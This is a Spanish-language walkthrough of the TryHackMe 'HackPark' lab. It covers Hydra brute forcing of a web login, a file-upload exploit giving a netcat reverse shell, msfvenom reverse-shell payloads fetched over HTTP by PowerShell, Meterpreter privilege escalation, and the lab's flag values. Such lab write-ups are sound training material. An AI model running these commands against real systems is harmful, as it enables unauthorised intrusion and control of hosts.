HackPark [TryHackMe]

2023-08-30

Introducción

Subimos un puntito el nivel de dificultad con “HackPark”, la siguiente máquina las series “Offensive Pentesting” de TryHackMe. En esta sala se practican cosas como la fuerza bruta con Hydra contra una app web, el uso de exploits con Metasploit y la elevación de privilegios en Windows.

Task 1 - Desplegar la máquina

Paso 1:

  • Pongo la máquina en marcha y accedo a la aplicación web que tiene.
  • La primera pregunta es sobre la imagen que sale en la web, un famoso payaso de una película de miedo.

Task 2 - Using Hydra to brute-force a login

Paso 2:

  • Compruebo que hay formulario de login en la web.
  • Asumo que hay usuario “admin”.
  • Uso burp suite para obtener POST del formulario.
  • Uso la información recogida en burp para construir un ataque de fuerza bruta con hydra.
  • El login es admin / 1qaz2wsx
# Uso de Hydra, el modulo http-post-form lleva 3 arugmentos [ url : request_body : mensaje_error] 
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.208.69 http-post-form '/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=y6wRZsJzImyMo53LFSrnXLB7%2B7fzAbEyOX49Iqu3R14GnH%2FF8xhUZyKuJbrpjBk7rG8CXgjXJiod6JKbG86G17C0pLg%2FQIfxvi3j%2Br5M4vUm2iGKcDzMw1rNlAgtyccYdUjRO7E4XqX2E458%2FRv94OhBikBC7HSHYfwHwPgk4heOWJRE&__EVENTVALIDATION=ZIbXaJYNTD%2Bk8WtwTcECTcM8T7R2qKZIT%2B%2BO9VZFWT5GsVoRUjEINZfLga4xe6YJp3wHe5LKoD%2BhLEVcq0SbNLZmz1uVZ1ORX3IOX66bzAxqhXQpJsxQnUAbluEBTgxH%2B8FYtXrCMPaFlar3UZLOQtc%2FclRU2NolNTC2I%2FmjAbyhqQHR&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Iniciar+sesi%C3%B3n:Login Failed' -vv

[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[VERBOSE] Page redirected to http[s]://10.10.208.69:80/admin
[80][http-post-form] host: 10.10.208.69   login: admin   password: 1qaz2wsx
[STATUS] attack finished for 10.10.208.69 (waiting for children to complete tests)

Task 3 - Compromise the machine

Paso 3:

Paso 4:

  • Descargo exploit, cambio IP y puerto.
  • Renombro fichero a PostView.ascx
  • Subo fichero al server en http://10.10.10.10/admin/app/editor/editpost.cshtml
  • Activo exploit al abrir http://10.10.10.10/?theme=../../App_Data/files
# Shell inversa con éxito
rlwrap nc -lvnp 4444

listening on [any] 4444 ...
connect to [10.14.50.184] from (UNKNOWN) [10.10.208.69] 49268
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
whoami
c:\windows\system32\inetsrv>whoami
iis apppool\blog

Task 4 - Windows Privilege Escalation

Paso 5:

  • Creo un payload con msfvenom para obtener sesión con meterpreter.
  • Utilizo el script x86/shikata_ga_nai
# Comando de msfvenom para crear el payload
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.14.50.184 LPORT=1234 -f exe -o shell-name.exe     

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: shell-name.exe

Paso 6:

  • Preparo metasploit con exploit/multi/handler
  • Inicio servidor web con python para descargarlo en el objetivo.
# Mestasploit
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST tun0
msf6 exploit(multi/handler) > set LPORT 1234
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on ...

# Servidor web con python
python3 -m http.server 80                                                                                                                         
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

# netcat, comando en shell remota
powershell -c "Invoke-WebRequest -Uri 'http://10.14.50.184/shell-name.exe' -OutFile 'C:\Windows\temp\shell.exe'"

# el comnado run se ejecuta antes que .\shell.exe
msf6 exploit(multi/handler) > run

# ejecuto shell en maquina remota
.\shell.exe

[*] Started reverse TCP handler on 10.14.50.184:1234 
[*] Sending stage (175686 bytes) to 10.10.208.69
[*] Meterpreter session 7 opened (10.14.50.184:1234 -> 10.10.208.69:49314) at 2023-08-29 22:04:06 +0200
  • Meterpreter
# Recopilo informacion del sistema
meterpreter > sysinfo 
Computer        : HACKPARK
OS              : Windows 2012 R2 (6.3 Build 9600).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows

# Informacion de usuario sesión
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
  • Encuentro servicio WScheduler corriendo en el sistema, reviso sus logs.
meterpreter > ls
Listing: c:\Program Files (x86)\SystemScheduler\Events
======================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  1959   fil   2023-08-29 22:18:34 +0200  20198415519.INI
100666/rw-rw-rw-  30551  fil   2023-08-29 22:18:34 +0200  20198415519.INI_LOG.txt
100666/rw-rw-rw-  290    fil   2020-10-02 23:50:12 +0200  2020102145012.INI
100666/rw-rw-rw-  186    fil   2023-08-29 22:16:31 +0200  Administrator.flg
100666/rw-rw-rw-  182    fil   2023-08-29 22:16:28 +0200  SYSTEM_svc.flg
100666/rw-rw-rw-  0      fil   2023-08-29 20:44:12 +0200  Scheduler.flg
100666/rw-rw-rw-  449    fil   2023-08-29 22:16:31 +0200  SessionInfo.flg
100666/rw-rw-rw-  0      fil   2023-08-29 22:17:39 +0200  service.flg

meterpreter > cat 20198415519.INI_LOG.txt
08/04/19 15:06:01,Event Started Ok, (Administrator)
08/04/19 15:06:30,Process Ended. PID:2608,ExitCode:1,Message.exe (Administrator)
  • Migro el proceso al de Message.exe o ejecuto en meterpreter “getsystem”
# Flag de usuario jeff
meterpreter > ls
Listing: c:\Users\jeff\Desktop
==============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2019-08-04 20:54:53 +0200  desktop.ini
100666/rw-rw-rw-  32    fil   2019-08-04 20:57:10 +0200  user.txt

meterpreter > cat user.txt 
759bd8af507517bcfaede78a21a73e39

# flag de root
meterpreter > ls
Listing: c:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  1029  fil   2019-08-04 13:36:42 +0200  System Scheduler.lnk
100666/rw-rw-rw-  282   fil   2019-08-03 19:43:54 +0200  desktop.ini
100666/rw-rw-rw-  32    fil   2019-08-04 20:51:42 +0200  root.txt

meterpreter > cat root.txt 
7e13d97f05f7ceb9881a3eb3d78d3e72

Task 4 - Privilege Escalation Without Metasploit

  • Se puede conseguir acceso privilegiado sin metasploit.
  • Se crea paylod con msfvenom de windows/shell_reverse_tcp
# Genero el payload nuevo
msfvenom -p windows/shell_reverse_tcp  -a x86 --encoder x86/shikata_ga_nai LHOST=10.14.50.184 LPORT=1234 -f exe -o shell_tcp.exe

#Preparo servidor python y lo descargo en la maquina remota

# El listener recibe la conexion
rlwrap nc -lvnp 1234                                                                                                                    
listening on [any] 1234 ...
ls
connect to [10.14.50.184] from (UNKNOWN) [10.10.208.69] 49397
dir

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

c:\Windows\Temp>
  • Ejecucion de WinPEAS y busqueda de fecha de instalación original:
# Subo WinPEAS.bat y lo ejecuto. Es un proceso largo y algo aburrido, asi que obtengo la fecha con systeminfo

c:\windows\system32\inetsrv>systeminfo | findstr /i date

Original Install Date:     8/3/2019, 10:43:23 AM

Conclusion

Aunque se supone que ésta máquina es mas compleja que las anteriores, me he sentido cómodo usando Burp Suite, Hydra, Msfvenom y Metasploit. La mayor parte de los problemas en esta sala me los he encontrado con las shells inversas, que no acaban de ser muy estables por lo que sea, excepto con meterpreter que si que ha ido bien. Tampoco me ha parecido muy fluido el uso de WinPEAS, aunque es una herramienta interesante.

(◕‿‿◕) Hack the planet!